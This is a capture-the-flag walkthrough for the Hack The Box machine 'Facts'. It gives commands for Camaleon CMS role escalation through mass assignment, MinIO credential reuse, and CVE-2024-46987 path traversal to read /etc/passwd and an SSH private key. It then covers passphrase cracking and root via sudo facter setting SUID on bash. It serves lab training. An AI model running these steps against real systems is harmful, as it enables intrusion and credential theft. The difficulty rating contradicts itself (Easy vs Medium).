
HTB Facts is a Easy Linux box featuring Camaleon CMS and MinIO. Gain admin access via open registration and a mass assignment vulnerability, then extract MinIO credentials from admin settings. Use CVE-2024-46987 path traversal to steal an SSH private key, crack its passphrase, and escalate to root by abusing sudo permissions on facter via GTFOBins.
Difficulty: Medium
OS: Linux
Tags: Web, MinIO, Camaleon CMS, Path Traversal, SSTI, Privilege Escalation
Begin with a full TCP port scan to identify open services.
nmap -p- --min-rate 5000 -T4 10.129.244.96
Results:
| Port | Service | Notes |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Nginx 1.26.3 (Ubuntu) |
| 54321 | Unknown | Identified as MinIO |
Add the target to /etc/hosts:
echo "10.129.244.96 facts.htb" >> /etc/hosts
Browsing to http://facts.htb reveals a trivia website built on Camaleon CMS (Ruby on Rails). Key indicators:
_factsapp_session (Rails session)/assets/themes/camaleon_first/nginx/1.26.3 (Ubuntu)Enumerate the sitemap for all available pages:
curl -s http://facts.htb/sitemap.xml
Notable paths discovered:
/admin → redirects to /admin/login/rss/animal-ejected, /anne-frank, etc.Check for the admin login panel:
curl -v http://facts.htb/admin
# → 302 redirect to /admin/login
Probing the unknown port with curl reveals MinIO, an S3-compatible object storage service:
curl -v http://facts.htb:54321
Response:
<Error>
<Code>AccessDenied</Code>
<Message>Access Denied.</Message>
</Error>
Headers confirm: Server: MinIO
Enumerate potential bucket names (all return 403, confirming they exist):
for bucket in facts backup uploads media files images data private secret admin internal; do
code=$(curl -s -o /dev/null -w "%{http_code}" http://facts.htb:54321/$bucket)
echo "$bucket: $code"
done
All return 403 Forbidden — buckets exist but require credentials.
From the asset paths and session cookie, the CMS is identified as Camaleon CMS.
Check for known vulnerabilities:
searchsploit camaleon
Results:
Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI) | ruby/webapps/51489.txt
The admin panel version is confirmed as 2.9.0 (visible in the footer after logging in).
The admin login page at http://facts.htb/admin/login includes a "Create an account" link. Register a new account:
http://facts.htb/admin/users/sign_uptest123 / test123)Client role accountAfter registration, log in to the admin dashboard. The account has limited Client privileges.
Camaleon CMS is vulnerable to a mass assignment attack on the password change endpoint. By intercepting the password change request and injecting a password[role] parameter, an attacker can escalate their own role to admin.
Steps using Burp Suite:
Client account.Profile → Edit → Change Password.&password[role]=admin to the request body:_method=patch&authenticity_token=<TOKEN>&password%5Bpassword%5D=test123&password%5Bpassword_confirmation%5D=test123&password[role]=admin
200 OK.The account now has admin privileges, granting full access to the CMS admin panel including Settings, Media, and Filesystem Settings.
With admin access, navigate to:
Settings → General Site → Filesystem Settings
The page reveals hardcoded MinIO (AWS S3-compatible) credentials:
AWS S3 Access Key: AKIA59D605615FFC8875
AWS S3 Secret Key: O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt
AWS S3 Bucket Name: randomfacts
AWS S3 Region: us-east-1
AWS S3 Endpoint: http://localhost:54321
Configure AWS CLI and enumerate buckets:
export AWS_ACCESS_KEY_ID='AKIA59D605615FFC8875'
export AWS_SECRET_ACCESS_KEY='O8RU3/gJFlfcZAievtTfBaxJbOg5ZOwa0tmIZLWt'
export AWS_DEFAULT_REGION='us-east-1'
aws s3 ls --endpoint-url http://facts.htb:54321
Discovered buckets:
2025-09-11 internal
2025-09-11 randomfacts
The internal bucket contains the home directory of the trivia user:
aws s3 ls s3://internal/ --endpoint-url http://facts.htb:54321
aws s3 ls s3://internal/.ssh/ --endpoint-url http://facts.htb:54321
# Download the SSH private key
aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --endpoint-url http://facts.htb:54321
Alternatively, the SSH private key can be retrieved via CVE-2024-46987, an authenticated path traversal vulnerability in Camaleon CMS that allows reading arbitrary server files.
Clone the public PoC:
git clone https://github.com/Goultarde/CVE-2024-46987
cd CVE-2024-46987
Read sensitive files:
# Step 1: Read /etc/passwd to enumerate system users
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /etc/passwd
Output (relevant lines):
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
Two users are identified: trivia and william. Since trivia has a login shell and a home directory, check for an SSH private key:
# Step 2: Read trivia's SSH private key
python CVE-2024-46987.py -u http://facts.htb --user test123 -p test123 /home/trivia/.ssh/id_ed25519
Save the key output to a file:
chmod 600 id_ed25519
The SSH private key is encrypted with a passphrase. Use ssh2john and john to crack it:
ssh2john id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
Cracked passphrase: dragonballz
ssh -i id_ed25519 [email protected]
# Enter passphrase: dragonballz
Retrieve the user flag:
cat /home/william/user.txt
Check sudo privileges for the trivia user:
sudo -l
Output:
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
The user can run /usr/bin/facter as root without a password. facter is a Ruby-based system information tool.
According to GTFOBins, facter can load custom Ruby fact files via --custom-dir, which are executed as the invoking user (root in this case).
Exploit:
# Create exploit directory and Ruby payload
mkdir -p /tmp/exploit_facts
cat > /tmp/exploit_facts/evil.rb << 'EOF'
system("chmod +s /bin/bash")
EOF
# Execute facter as root with the custom directory
sudo /usr/bin/facter --custom-dir=/tmp/exploit_facts/ x
# Verify SUID bit is set on bash
ls -la /bin/bash
# -rwsr-sr-x 1 root root ...
# Spawn root shell
/bin/bash -p
whoami
# root
cat /root/root.txt
| Flag | Location |
|---|---|
| user.txt | /home/william/user.txt |
| root.txt | /root/root.txt |
Nmap Scan
↓
Port 80: Camaleon CMS 2.9.0
↓
Register Client Account → Admin Panel
↓
Mass Assignment: password[role]=admin → Admin Role
↓
Admin Settings → MinIO Credentials Exposed
↓
CVE-2024-46987: Path Traversal → Read /home/trivia/.ssh/id_ed25519
↓
ssh2john + John → Passphrase: dragonballz
↓
SSH Login as trivia
↓
sudo facter --custom-dir (GTFOBins) → chmod +s /bin/bash
↓
/bin/bash -p → root
| CVE | Description |
|---|---|
| CVE-2024-46987 | Camaleon CMS authenticated path traversal / arbitrary file read |
| CVE-2023-30145 | Camaleon CMS v2.7.0 SSTI via formats parameter (not used in this box) |